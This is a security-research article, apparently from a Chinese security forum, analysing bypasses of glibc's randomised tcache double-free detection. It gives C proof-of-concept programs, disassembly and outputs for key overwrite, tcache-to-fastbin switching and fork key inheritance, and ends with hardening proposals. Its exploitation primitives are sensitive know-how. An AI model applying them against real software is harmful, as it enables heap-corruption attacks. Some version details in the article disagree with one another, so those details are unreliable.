tcache 键随机化下的双释放绕过
渗透测试
glibc 2.34 将 tcache double-free 检测的 key 从线程指针替换为 getrandom 随机值。64 位熵看似牢不可破,但检测本质是 chunk 用户区偏移 +0x08 处的一次 cmp 指令——而非链表完整性校验。覆写这 8 字节,快路径放行。
> glibc 2.34 将 tcache double-free 检测的 key 从线程指针替换为 `getrandom` 随机值。64 位熵看似牢不可破,但检测本质是 chunk 用户区偏移 +0x08 处的一次 `cmp` 指令——而非链表完整性校验。覆写这 8 字节,快路径放行。 引言 -- tcache(Thread Local Cache)是 glibc 2.26 引入的 per-thread 分配缓存。每个线程维护一组 size-class 单链表,`free()` 时 chunk 优先挂入 tcache,`malloc()` 时优先从 tcache 取回。LIFO 路径避开了全局 arena 的锁竞争,代价是 tcache 成了 double-free 的高发区。 - glibc 2.31 的检测方案:`tcache_put` 在 freed chunk 用户数据区偏移 `+0x08` 写入线程 `tcache_perthread_struct` 指针作为 key;`_int_free` 检测 double-free 时遍历同大小链表比对 key 值。绕过条件:泄露出 `tcache` 指针地址并写回 chunk 的 key 字段。 - glibc 2.34(commit `d88c0b5`)替换了这一机制:key 改为进程全局随机值 `tcache_key`,由 `getrandom` 一次性播种。同版本起检测逻辑收缩为"先比较 key 是否等于 `tcache_key`,命中才做 O(n) 线性扫描,否则直接挂回"。随机化的引入使爆破 key 变为不可行,但检测也从主动扫描退化为门禁触发——守门的是一个 `cmp` 指令,门禁钥匙在 chunk 用户区 +0x08,明文存放。 追溯链: - **glibc 2.32** 引入 Safe-Linking(`PROTECT_PTR` / `REVEAL_PTR`),保护 tcache 链表中 `next` 指针(偏移 +0x00),不保护 key(偏移 +0x08)。 - **glibc 2.34** 将 key 从线程指针改为 `tcache_key`,检测分支简化为 `cmp + je → 慢路径`。 - **glibc 2.38** 熵源接口从 `__getrandom` 改为 `__getrandom_nocancel`。 - **glibc 2.39** 改为 `__getrandom_nocancel_nostatus`。 - **glibc 2.42**(本文实测版本)将慢路径抽成独立函数 `tcache_double_free_verify`。  ### freed chunk 在 tcache 中的内存布局  环境与源码 ----- ### 实验环境 | | | |---|---| | 组件 | 版本/参数 | | OS | Kali Linux 2026.1,内核 6.6.x | | glibc | 2.42 | | 编译器 | gcc 13.2 | | 编译选项 | `-O0 -g -no-pie -fno-stack-protector` | | 调试器 | GDB 14.1 | | 工具 | objdump、ltrace、strace | ### 目录结构 ```php tcache_key_bypass/ ├── src/ │ ├── exp01_freed_chunk_layout.c # next(+0x00) 与 key(+0x08) 字节定位 │ ├── exp02_key_overwrite_bypass.c # 覆写 key → 绕过检测 │ ├── exp03_one_bit_delta.c # 覆写值与 tcache_key 差 1 bit │ ├── exp04_tcache_overflow_fastbin.c # tcache 满 → fastbin 断层 │ ├── exp05_fork_key_inheritance.c # fork() 后 key 的跨进程继承 │ ├── exp06_entropy_source.c # 进程内不变性 + 跨进程随机性 │ └── exp07_safelink_next_vs_key.c # Safe-Linking 保护 next,不保护 key ├── build/ # 编译产物 └── Makefile ``` ### 批量编译 ```php mkdir -p build for src in src/exp*.c; do name=$(basename "$src" .c) gcc -O0 -g -no-pie -fno-stack-protector -o "build/$name" "$src" done ``` ### 源码 **exp01\_freed\_chunk\_layout.c** — 观察 freed chunk 的前 16 字节:`next` 和 `key` 的位置与值 ```php #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> /* 以 16 字节为一行的 hexdump */ static void hexdump(const void *addr, size_t len, const char *label) { const unsigned char *p = (const unsigned char *)addr; printf("[%s] %p +%3zu bytes\n", label, addr, len); for (size_t i = 0; i < len; i += 16) { printf(" %04zx: ", i); for (size_t j = i; j < i + 16 && j < len; j++) printf("%02x ", p[j]); printf("\n"); } printf("\n"); } int main(void) { setbuf(stdout, NULL); void *a = malloc(32), *b = malloc(32), *c = malloc(32); memset(a, 'A', 32); memset(b, 'B', 32); memset(c, 'C', 32); printf("a = %p, b = %p, c = %p\n\n", a, b, c); /* * free(a):第一个 tcache 项。 * a+0x00 ← PROTECT_PTR(a, NULL) = a >> 12 * a+0x08 ← tcache_key */ free(a); printf("=== 释放 a 后 ===\n"); hexdump(a, 32, "a"); /* * free(b):b 成为链表新头。 * b+0x00 ← PROTECT_PTR(b, a) = (b >> 12) ^ a * b+0x08 ← tcache_key(与 a 相同的全局值) */ free(b); printf("=== 释放 b 后 ===\n"); hexdump(b, 32, "b"); /* * malloc 从 tcache 取回。 * tcache_get 解密 next,并将取回的 chunk 的 key 清零。 */ void *b2 = malloc(32); printf("=== malloc 取回 b2 = %p ===\n", b2); hexdump(b, 32, "b"); void *a2 = malloc(32); printf("=== malloc 取回 a2 = %p ===\n", a2); hexdump(a, 32, "a"); free(a2); free(b2); free(c); return 0; } ``` **exp02\_key\_overwrite\_bypass.c** — 覆写 chunk+0x08 的 key 字段,绕过 double-free 检测 ```php #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> int main(void) { setbuf(stdout, NULL); void *a = malloc(32), *b = malloc(32); /* b 隔离 top chunk */ memset(a, 'A', 32); memset(b, 'B', 32); printf("a = %p, b = %p\n\n", a, b); /* [1] 第一次 free:tcache_put 写入 key = tcache_key */ free(a); printf("[1] 第一次 free(a)\n" " a+0x00 (next) = 0x%016lx\n" " a+0x08 (key) = 0x%016lx\n\n", *(uint64_t *)(a + 0), *(uint64_t *)(a + 8)); /* * [2] 覆写 key 为 0。 * _int_free 中 cmp [a+0x08], tcache_key → ZF=0 → 跳过慢路径。 */ *(uint64_t *)(a + 8) = 0x0; printf("[2] 覆写 a+0x08 = 0x0\n" " a+0x00 (next) = 0x%016lx\n" " a+0x08 (key) = 0x%016lx\n\n", *(uint64_t *)(a + 0), *(uint64_t *)(a + 8)); /* * [3] 第二次 free:key ≠ tcache_key,快路径放行。 * tcache_put 重写 a+0x08 ← tcache_key, * a+0x00 ← PROTECT_PTR(a, entries[tc_idx]) → 解密后指向 a 自身。 */ free(a); printf("[3] 第二次 free(a)\n" " a+0x00 (next) = 0x%016lx\n" " a+0x08 (key) = 0x%016lx\n\n", *(uint64_t *)(a + 0), *(uint64_t *)(a + 8)); /* [4][5] 连续两次 malloc,观测返回地址 */ void *x = malloc(32); memset(x, 'X', 32); printf("[4] malloc #1 → x = %p (a = %p)\n\n", x, a); void *y = malloc(32); memset(y, 'Y', 32); printf("[5] malloc #2 → y = %p (a = %p)\n", y, a); /* [6] x 和 y 指向同一物理内存时,y 的写入覆盖 x */ printf("[6] x 前 4 字节 = \"%c%c%c%c\"\n", ((char *)x)[0], ((char *)x)[1], ((char *)x)[2], ((char *)x)[3]); free(x); free(b); return 0; } ``` **exp03\_one\_bit\_delta.c** — 将 key 覆写为 `tcache_key ^ 1`,检验 `cmp` 的比较粒度 ```php #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> int main(void) { setbuf(stdout, NULL); void *a = malloc(32), *b = malloc(32); memset(a, 'A', 32); memset(b, 'B', 32); printf("a = %p, b = %p\n\n", a, b); /* 第一次 free 泄露 tcache_key */ free(a); uint64_t k = *(uint64_t *)(a + 8); printf("[1] tcache_key = 0x%016lx\n", k); /* 翻转最低位后覆写 */ uint64_t off = k ^ 1; *(uint64_t *)(a + 8) = off; printf("[2] 覆写 a+0x08 = 0x%016lx (tcache_key ^ 1)\n" " 异或结果 = 0x%016lx\n\n", off, k ^ off); /* 第二次 free:差 1 bit → cmp 不等 → 快路径 */ free(a); printf("[3] 第二次 free 完成\n"); void *x = malloc(32), *y = malloc(32); printf("[4] malloc #1 = %p malloc #2 = %p\n", x, y); free(x); free(b); return 0; } ``` **exp04\_tcache\_overflow\_fastbin.c** — tcache 满后 chunk 落入 fastbin,key 检查窗口关闭 ```php #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define TCACHE_FILL 7 /* glibc tcache 每个 size class 容量 */ int main(void) { setbuf(stdout, NULL); void *c[9]; for (int i = 0; i < 9; i++) { c[i] = malloc(32); memset(c[i], 'A' + i, 32); printf("c[%d] = %p\n", i, c[i]); } /* 阶段 1:填满 tcache */ printf("\n=== 填满 tcache (容量 %d) ===\n", TCACHE_FILL); for (int i = 0; i < TCACHE_FILL; i++) { free(c[i]); printf(" free(c[%d]) → tcache_count = %d\n", i, i + 1); } /* * 阶段 2:tcache 已满,free(c[7]) 跳过 tcache 分支, * 经 _int_free_chunk 落入 fastbin(chunk size 0x30 ≤ 0x80)。 * fastbin 不经过 tcache_put —— key 字段不被写入。 */ void *target = c[7]; printf("\n=== free(c[7]) → tcache 满,落入 fastbin ===\n"); free(target); printf(" target + 0x00 (fd) = 0x%016lx\n", *(uint64_t *)(target + 0)); printf(" target + 0x08 (key) = 0x%016lx\n", *(uint64_t *)(target + 8)); /* 清空 tcache 后从 fastbin 取回 target */ for (int i = 0; i < TCACHE_FILL; i++) malloc(32); void *reclaimed = malloc(32); printf("\n=== 从 fastbin 取回 ===\n"); printf(" 取回地址 = %p (target = %p)\n", reclaimed, target); free(reclaimed); free(c[8]); return 0; } ``` **exp05\_fork\_key\_inheritance.c** — `fork()` 后子进程是否继承父进程 tcache\_key ```php #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <sys/wait.h> /* 通过 free 后读取 chunk+0x08 获取 tcache_key */ static uint64_t leak(void) { void *p = malloc(32); memset(p, 0x41, 32); free(p); /* p+0x08 ← tcache_key */ uint64_t k = *(uint64_t *)(p + 8); malloc(32); /* 取回清理 tcache */ return k; } int main(void) { setbuf(stdout, NULL); uint64_t pk = leak(); printf("父进程 (PID=%d) tcache_key = 0x%016lx\n\n", getpid(), pk); pid_t pid = fork(); if (pid == 0) { /* 子进程:fork 复制父进程数据段,tcache_key 一并复制 */ uint64_t ck = leak(); printf("子进程 (PID=%d) tcache_key = 0x%016lx\n", getpid(), ck); printf("父子 key %s\n", (ck == pk) ? "相同" : "不同"); _exit(0); } else { waitpid(pid, NULL, 0); } return 0; } ``` **exp06\_entropy\_source.c** — 进程内 key 不变性 + 跨进程随机性 ```php #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> static uint64_t leak(void) { void *p = malloc(32); memset(p, 0x41, 32); free(p); uint64_t k = *(uint64_t *)(p + 8); malloc(32); return k; } int main(void) { setbuf(stdout, NULL); /* * tcache_key 是进程全局 static uintptr_t, * 启动时播种一次,进程生命周期内不变。 */ printf("=== 进程内 5 次读取 tcache_key ===\n"); for (int i = 0; i < 5; i++) printf(" 第 %d 次: 0x%016lx\n", i + 1, leak()); return 0; } ``` **exp07\_safelink\_next\_vs\_key.c** — 对比 next(受 Safe-Linking)与 key(明文)的保护差异 ```php #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> int main(void) { setbuf(stdout, NULL); void *a = malloc(32), *b = malloc(32), *c = malloc(32); memset(a, 'A', 32); memset(b, 'B', 32); memset(c, 'C', 32); printf("a = %p, b = %p, c = %p\n\n", a, b, c); /* * 构建 tcache 链:先 free(b) 再 free(a) → a(head) → b * a+0x00 = PROTECT_PTR(a, b) = (a >> 12) ^ b * b+0x00 = PROTECT_PTR(b, NULL) = b >> 12 */ free(b); free(a); printf("=== tcache 链: a(head) → b ===\n"); printf(" a+0x00 = 0x%016lx\n", *(uint64_t *)a); printf(" b+0x00 = 0x%016lx\n\n", *(uint64_t *)b); /* REVEAL_PTR 解密 a+0x00,预期还原为 b 的地址 */ uint64_t pa = (uint64_t)a; uint64_t dec = (pa >> 12) ^ *(uint64_t *)a; printf(" REVEAL_PTR: (a>>12) ^ a->next = 0x%016lx\n", dec); printf(" b 的地址 = 0x%016lx\n\n", (uint64_t)b); /* key 在 +0x08,明文,不受 Safe-Linking */ printf("=== key (+0x08) 对比 ===\n"); printf(" a+0x08 = 0x%016lx\n", *(uint64_t *)(a + 8)); printf(" b+0x08 = 0x%016lx\n", *(uint64_t *)(b + 8)); free(c); return 0; } ``` 键在哪一位 ----- `tcache_put` 在 freed chunk 的用户数据区写入两个 8 字节字段: - **偏移 +0x00**:`next`,指向链表下一个 tcache\_entry,经 `PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr` 混淆(glibc 2.32 起)。 - **偏移 +0x08**:`key`,写入 `tcache_key` 的值,明文存放。 `tcache_get` 取回 chunk 时对 `next` 执行 `REVEAL_PTR` 解密,并将 `key` 清零(glibc 2.33 已有此行为)。 ```php gcc -O0 -g -no-pie -fno-stack-protector -o build/exp01_freed_chunk_layout src/exp01_freed_chunk_layout.c ./build/exp01_freed_chunk_layout ```  偏移 `+0x08` 是 `tcache_put` 写入 key 的位置,也是 `_int_free` 检测 double-free 时读取 key 的位置。同一地址既是锁孔也是破锁点。`+0x00`(next)经 Safe-Linking 混淆,`+0x08`(key)明文——两者的保护不对称是后续所有绕过方法的基础。tcache\_get 主动清零 key 意味着从 tcache 合法取回的 chunk 再 free 时自动不触发慢路径(key 已被清零 ≠ tcache\_key。 只防非法的 double-free,不拦合法的 alloc-free-alloc-free 序列。 2.34 换锁 ------- glibc 2.33 及之前,`e->key = tcache`(线程本地 `tcache_perthread_struct *`)。glibc 2.34 起,`e->key = tcache_key`(进程全局 `static uintptr_t`,`getrandom` 一次性播种)。 ### 版本行为差异 | | | | | |---|---|---|---| | glibc | key 赋值 | 熵源 | 检测函数位置 | | 2.31 | `e->key = tcache` | 线程指针(可推算) | `_int_free` 内联 | | 2.33 | `e->key = tcache` | 同上 | 同上 | | 2.34 | `e->key = tcache_key` | `__getrandom` | 同上 | | 2.38 | `e->key = tcache_key` | `__getrandom_nocancel` | 同上 | | 2.39 | `e->key = tcache_key` | `__getrandom_nocancel_nostatus` | 同上 | | 2.42 | `e->key = tcache_key` | 同上 | `tcache_double_free_verify`(独立函数) | glibc 2.33 → 2.34: ```php /* malloc-2.33.c:3089 — key 为线程 tcache_perthread_struct 指针 */ e->key = tcache; /* malloc-2.34.c:3068 — key 改为进程全局随机值 */ e->key = tcache_key; ``` 播种逻辑(glibc 2.38 malloc.c:3118–3132): ```php static uintptr_t tcache_key; /* 进程全局,static 不导出符号 */ /* 进程启动时调用,一次性播种 */ if (__getrandom_nocancel(&tcache_key, sizeof(tcache_key), GRND_NONBLOCK) != sizeof(tcache_key)) { tcache_key = random_bits(); /* getrandom 失败时降级 */ } ``` ### 定位 tcache\_key ###  ▸ `tcache_key = 0xd698b6658b79d9b4`——8 字节随机值,`getrandom` 在进程启动时播种▸ `&tcache_key = 0x7ffff7f9a200`——位于 libc 数据段,`static` 变量不导出符号,`nm`/`readelf` 不可见▸ `x/2gx a` 第二列为 `0xd698b6658b79d9b4`,与 `tcache_key` 一致——确认 `tcache_put` 的赋值语义 `e->key = tcache_key` ▸ `x/2gx a` 第一列为 `0x0405` = `0x405310 >> 12`——首个 tcache 项的 `next = PROTECT_PTR(pos, NULL) = pos >> 12` glibc 2.34 将检测从"扫描 key 值匹配"改为"比较 key 是否等于一个进程全局不变量"。`tcache_key` 存储于 libc 的 `.bss` 段,进程启动后值固定。2.33 的 `e->key = tcache` 中 `tcache` 指针依赖堆布局,同线程内固定但可推算(堆基址 + `tcache_perthread_struct` 偏移);2.34 的随机键阻断了推算路径,但检测本身收缩为一次 `cmp`。 > 攻击面从"猜指针值"变为"破坏比较的相等性"。 快路径怎么放行 ------- `__GI___libc_free` 中 tcache 分支的核心检测是 `cmp` + `je` 两条指令。 ### 反汇编 ```php gdb -batch -ex "break free" -ex "run" -ex "disas __GI___libc_free" -ex "quit" \ ./build/exp02_key_overwrite_bypass 2>&1 ``` tcache 检测分支 — \_\_GI\_\_\_libc\_free(glibc 2.42)  ```php <+46>: mov %fs:(%rax),%rax ; rax = tcache_perthread_struct (TLS) <+50>: test %rax,%rax ; tcache 是否已初始化 <+53>: je <+144> ; 否 → 跳过 tcache,走 fastbin/unsorted <+55>: mov 0x149542(%rip),%r8 ; r8 = tcache_key <+62>: cmp %r8,0x8(%rdi) ; cmp e->key, tcache_key <+66>: je <+360> ; ZF=1 → 慢路径 ; ZF=0 → 落入快路径 ↓ ``` 快路径 — tcache\_put  ```php <+72>: lea -0x20(%r9),%rdx ; rdx = chunk_size - 0x20 <+79>: shr $0x4,%rcx ; 计算 tc_idx <+83>: cmp $0x3ff,%rdx ; tc_idx 越界检查 <+107>: mov %r8,0x8(%rdi) ; e->key = tcache_key(无条件写入) <+111>: shr $0xc,%rdx ; pos >> 12(PROTECT_PTR 准备) <+115>: xor 0x98(%rax,%rcx,8),%rdx ; (pos>>12) ^ entries[tc_idx] <+123>: mov %rdx,(%rdi) ; e->next = PROTECT_PTR(pos, old_head) <+126>: mov %rdi,0x98(%rax,%rcx,8) ; entries[tc_idx] = e <+138>: ret ``` 慢路径入口  ```php <+360>: jmp tcache_double_free_verify ``` ### 覆写 key ```php gcc -O0 -g -no-pie -fno-stack-protector -o build/exp02_key_overwrite_bypass src/exp02_key_overwrite_bypass.c ./build/exp02_key_overwrite_bypass ```  ▸ **\[1\] key =** `0x5a22...`:第一次 free 后 tcache\_put 写入的 tcache\_key。next = `0x14dc2` = `a>>12` ▸ **\[2\] key =** `0x0`:覆写后 `cmp [a+0x08], tcache_key` → `cmp 0, 0x5a22...` → ZF=0 → 快路径条件成立▸ **\[3\] key =** `0x5a22...`:tcache\_put 无条件重写。next = `0x14dd6ed2` = `(a>>12) ^ a`——指向 a 自身 ▸ **\[4\]\[5\] x 和 y 均等于 a**:malloc 两次返回同一地址 ▸ **\[6\] 前 4 字节为 "YYYY"**:x 和 y 指向同一物理内存,y 的写入覆盖了 x ### ltrace 观测 ```php ltrace -e 'free+malloc' ./build/exp02_key_overwrite_bypass 2>&1 ```  绕过 double-free 检测的必要条件:第一次 free 之后、第二次 free 之前,对 `chunk+0x08` 有一次可控的 8 字节写入,写入值 ≠ `tcache_key`。UAF 写、off-by-one 越界写零、相邻堆块溢出均可满足——不需要堆地址泄漏,不需要知道 `tcache_key` 的具体值。`cmp` 指令在 `<+62>` 处比较 `[rdi+0x08]` 与 `tcache_key`,结果是 ZF 的单个 bit;攻击者只需要让 ZF=0。 慢路径里面有什么 -------- glibc 2.42 中慢路径被抽成独立函数 `tcache_double_free_verify`。 ```php static void tcache_double_free_verify(tcache_entry *e) { tcache_entry *tmp; /* 遍历同大小 tc_idx 对应的整条 tcache 链表 */ for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR(tmp->next)) { if (tmp == e) /* 发现同址 */ malloc_printerr( /* → abort */ "double free or corruption (out)"); } /* 遍历完毕未发现 → 挂回 tcache */ e->next = PROTECT_PTR(e, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++tcache->counts[tc_idx]; } ``` ### 观测 A→A 环 ```php gdb -q ./build/exp02_key_overwrite_bypass (gdb) break free (gdb) run (gdb) continue # 跳过第一次 free (gdb) finish # 在第二次 free 后停下 (gdb) p tcache->entries[0]@8 (gdb) x/4gx a ```  ▸ `entries[1] = 0x405310`——32 字节 chunk 对应 `tc_idx = 1`,链表头指向 a ▸ `a+0x00 (next) = 0x405715`——`(0x405310 >> 12) ^ 0x405715` = `0x405 ^ 0x405715` = `0x405310` = a 自身,解密后 next 指向自身▸ `a+0x08 (key) = 0xb4a787ac7329a9e7`——第二次 free 后 tcache\_put 重写的 tcache\_key ▸ `a+0x10 = 0x414141...`——用户数据 `memset(a,'A',32)` 残留 慢路径的 O(n) 扫描与 tcache 当前链表长度成正比。链表为空(`tcache_count[tc_idx] == 0`,即 chunk 是同大小唯一项)时 `for` 循环不执行,扫描 O(1) 退出。这意味着"首块 double-free"——free 一个 chunk 后,在对该 chunk 再次 free 之前无其他同大小 chunk 被 free——的快路径绕过不需要经过慢路径的兜底扫描。链表越长,扫描耗时越长但防御效力不变(只比较地址,不做额外校验)。 A→A 环的形成路径:第一次 free 写入 next = `pos>>12`、key = tcache\_key → 覆写 key = 0 → 第二次 free 走快路径,`tcache_put` 执行 `entries[1] = a`(因为 entries\[1\] 已在第一次 free 时被更新为 a,第二次 free 前未改变)、`a->next = PROTECT_PTR(a, a) = (a>>12)^a`。两次 malloc 消耗掉环的两个副本后,tcache 回到空状态。 一个 bit 的实验 ---------- 将 `chunk+0x08` 覆写为 `tcache_key ^ 1`——翻转最低位。 ### 差 1 bit ```php gcc -O0 -g -no-pie -fno-stack-protector -o build/exp03_one_bit_delta src/exp03_one_bit_delta.c ./build/exp03_one_bit_delta ```  ▸ `tcache_key = 0x...e5`,覆写值 `0x...e4`,异或结果 `0x1`——仅最低位不同; ▸ 两次 malloc 同址——`cmp` 比较 64 位全宽度,差 1 bit 即 ZF=0,快路径放行。 `cmp` 是 x86-64 整数减法比较,对两个 64 位操作数逐位比较,结果反映在 ZF。63 位相同、1 位不同 → 减法结果非零 → ZF=0 → `je` 不跳转。不存在"汉明距离阈值""前 N 位相等等价"等机制。`tcache_key ^ 1` 的绕过成本与覆写任意值完全相同——一次 8 字节写入。 `tcache_key == 0` 时(概率 2⁻⁶⁴,或 `random_bits()` 降级返回 0),`tcache_key ^ 1 = 1`,写入 `key=1` 即绕过;tcache\_key 极端值的绕过成本与正常值等价。 fork 后的键 -------- `tcache_key` 是 `static uintptr_t`,存储于 libc 数据段。`fork()` 通过 COW 复制父进程地址空间,子进程继承 `tcache_key` 的值。 ### fork 继承 ```php gcc -O0 -g -no-pie -fno-stack-protector -o build/exp05_fork_key_inheritance src/exp05_fork_key_inheritance.c ./build/exp05_fork_key_inheritance ```  ▸ 父子进程 tcache\_key 值完全相等——fork 未触发重随机化 glibc 2.34–2.42 未在 `pthread_atfork` 子处理函数或 `__libc_fork` 中重置 `tcache_key`。多进程模型(fork-server、CGI、prefork)下父进程泄漏一次 key 后,所有子进程的 key 可预测——攻击面从"猜 8 字节随机值"收缩为"从父进程泄漏一次 8 字节"。 glibc 选择不在 fork 路径中重置 key:重置需额外熵,而 fork 调用链路不应阻塞在 `getrandom`。 fastbin 断层 ---------- tcache 每个 size class 容量 `TCACHE_FILL_COUNT = 7`。第 8 次 free 同大小 chunk 时,`tcache_count[tc_idx] == 7`,`_int_free` 跳过 tcache 分支,chunk 经 `_int_free_chunk` 落入 fastbin(size ≤ 0x80)或 unsorted bin。fastbin 路径不经过 `tcache_put`——key 检查完全失活。 ### 容量边界 ```php gcc -O0 -g -no-pie -fno-stack-protector -o build/exp04_tcache_overflow_fastbin src/exp04_tcache_overflow_fastbin.c ./build/exp04_tcache_overflow_fastbin ```  ▸ `target+0x08 (key) = 0x4848484848484848`——`0x48` = 'H',`memset(c[7], 'H', 32)` 残留。fastbin 不经过 `tcache_put`,key 未被写入 ▸ `target+0x00 (fd) = 0x3a24`——fastbin 也受 Safe-Linking 保护(glibc 2.32+),首个 fastbin 项 fd = `pos >> 12` ▸ 7 次 `free(c[0..6])` 填满 tcache 后,`free(c[7])` 跳过 tcache 分支进入 `_int_free_chunk` tcache 容量边界是 key 检查的硬边界。利用时序:填满 tcache → `free(A)` 入 fastbin(key = 用户残留)→ 从 tcache `malloc` 腾出槽位 → 再次 `free(A)`,此时 tcache 未满走 tcache 路径,`cmp A->key, tcache_key` 中 A 的 key 是 fastbin 残留值 ≠ tcache\_key → 绕过。 > 此路径不需要内存写入,仅凭 tcache ↔ fastbin 容量切换即实现 double-free。 Safe-Linking 交叉口 ---------------- Safe-Linking(glibc 2.32)使用 `PROTECT_PTR`/`REVEAL_PTR` 宏混淆 `next` 指针,公式为 `(pos >> 12) ^ ptr`。保护范围限于 +0x00(next),不覆盖 +0x08(key)。 ### next vs key ```php gcc -O0 -g -no-pie -fno-stack-protector -o build/exp07_safelink_next_vs_key src/exp07_safelink_next_vs_key.c ./build/exp07_safelink_next_vs_key ```  ▸ `a+0x00 = 0x073d7090`——`(0x73d0310 >> 12) ^ 0x73d0340` = `0x73d0 ^ 0x73d0340` = `0x073d7090` ✓▸ REVEAL\_PTR 解密结果 `0x73d0340` = b——确认 next 存储的是混淆后的链表指针▸ `a+0x08 == b+0x08 == 0xcb87856415508501`——key 明文相同 ### tcache chunk 偏移 +0x00 与 +0x08 的保护差异 | | | | | | |---|---|---|---|---| | 字段 | 偏移 | 写入函数 | 保护机制 | 绕过必要条件 | | `next` | +0x00 | `tcache_put` | Safe-Linking `PROTECT_PTR` | 需泄漏堆地址计算 `pos >> 12` | | `key` | +0x08 | `tcache_put` | 无 | 任意一次 8 字节写入,值 ≠ `tcache_key` | Safe-Linking 掩盖了 tcache 链表的结构信息——即使通过 UAF 读出 `next` 混淆值,没有 `pos`(存储 next 的地址)也无法反推真实指向。但 key 在 +0x08 明文出现,不参与此保护。两字段各占 8 字节共 16 字节,adjacent in memory:一次 16 字节堆溢出可同时构造 `next = PROTECT_PTR(pos, target)` 和 `key ≠ tcache_key`,一步完成链表劫持 + double-free 绕过。 > Safe-Linking 保护了链表的机密性,未保护检测逻辑的完整性。 多线程下的全局 key ----------- `tcache_key` 进程全局,所有线程共享。`tcache_perthread_struct`(`entries[]`、`counts[]`)线程本地存储(TLS),每线程独立。 线程 A 泄漏 `tcache_key` 后,线程 B 中 `tcache_put` 向 freed chunk 的 +0x08 写入同一值。链表操作限于各自 TLS,跨线程 double-free 要求同一堆块被多线程可见。 随机化的边界 ------ ### 进程内不变性 ```php gcc -O0 -g -no-pie -fno-stack-protector -o build/exp06_entropy_source src/exp06_entropy_source.c ./build/exp06_entropy_source ```  ▸ 5 次读取均为 `0xb97cab6ee35e9779`——`tcache_key` 进程生命周期内不变 ### 跨进程随机性 ```php for i in 1 2 3; do ./build/exp02_key_overwrite_bypass 2>&1 | grep 'key=0x' | head -1 done ```  三次跨进程采样无固定模式,每次 exec 独立播种。 #### glibc 2.34 → 2.42 熵源演化 | | | | |---|---|---| | 版本 | 播种系统调用 | 变更内容 | | 2.34 | `__getrandom` | 初始引入 tcache\_key | | 2.37 | `__getrandom_nocancel` | 避免被信号中断 | | 2.39 | `__getrandom_nocancel_nostatus` | 不检查返回状态码 | | 2.42 | 同上 | 慢路径独立函数化 | 降级路径:`getrandom` 失败时回退到 `random_bits()`——使用 auxv `AT_RANDOM`(16 字节,内核在 exec 时填充)。`AT_RANDOM` 同一内核启动周期内值固定,熵远低于 `getrandom`。seccomp 沙箱若仅屏蔽 `getrandom` 而保留 `AT_RANDOM` 访问,tcache\_key 退化为启动周期内可预测值。 tcache\_key 的防御边界与设计取舍 ---------------------- 纵观 glibc 2.26 引入 tcache 至今近八年的演化,double-free 检测始终处于攻防不对等的位置。检测依赖 chunk 内部的元数据字段(key),而该字段位于攻击者可写的用户数据区。Safe-Linking 在 2.32 保护了链表指针的机密性,2.34 将 key 随机化提升了爆破门槛,但核心矛盾未变:**检测所需的信息和攻击者覆写的目标位于同一内存位置**。 tcache 的设计前提是"快"——每个 `free`/`malloc` 路径增加的指令数以个位数计。在 `_int_free` 的 tcache 分支中,检测是一条 `mov`(加载全局键)+ 一条 `cmp`(比较)+ 一条 `je`(分支),共计三条指令。相比之下,fastbin 的检测同样是一条链表头比对。保持检测逻辑的极简是 tcache 存在的前提——如果每次 free 都做完整的链表遍历,tcache 的性能增益会被检测成本抵消。 从利用视角看,下列条件组合可构建绕过: 1. **单次写入**:UAF 写 8 字节到 freed chunk 的 +0x08,写入任何 ≠ `tcache_key` 的值。 2. **容量切换**:填满 tcache 迫使目标 chunk 经 fastbin 路径,无需写操作,利用 fastbin 不写 key 的特性。 3. **多进程泄漏**:fork-server 模型中父进程泄漏 key 后,子进程 key 可预测。 4. **seccomp 降级**:沙箱过滤 `getrandom` 时,`random_bits()` 的熵来自内核启动周期的 `AT_RANDOM`,同一周期内可预测。 5. **Safe-Linking 旁路**:key 不受 PROTECT\_PTR 保护,地址泄漏不是绕过 key 的必要条件。 防御侧的增强方向: - **key 的存储位置**:将 key 从 chunk 用户数据区移至 chunk header(`mchunkptr` 的 `prev_size` 复用域或新增域),缩小攻击者可写窗口。chunk header 在用户数据之前,越界写通常由低地址向高地址,key 在低地址侧可降低被覆盖的概率。 - **Safe-Linking 扩展**:将 `PROTECT_PTR` 应用于 key,使 key 的存储值 = `(pos >> 12) ^ tcache_key`。这样即使攻击者能写 +0x08,在没有 `tcache_key` 明文值的情况下无法构造出正确的 key 值。代价是 `tcache_put` 和检测路径各增加一次 XOR 运算。 - **tcache 容量随机化**:`TCACHE_FILL_COUNT` 当前硬编码为 7,可改为启动时随机化为 5–9 的某个值,增加容量切换利用的不确定性。 这些增强方向与 tcache 的性能约束存在张力——每条额外指令都会分摊到每次 `free`/`malloc`。glibc 维护者在 2.34 的 commit message 中明确表示选择 `tcache_key` 方案而非链表完整性校验的原因是"最小化性能影响"。安全机制的每一 bit 提升都在与分配器的核心性能指标竞争指令预算。理解这一取舍,比记住特定版本的绕过手法更有价值。
发表于 2026-09-01 09:27:30
阅读 ( 2837 )
分类:
WEB安全
0 推荐
收藏
0 条评论
Dracarys
信息安全工程师
10 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!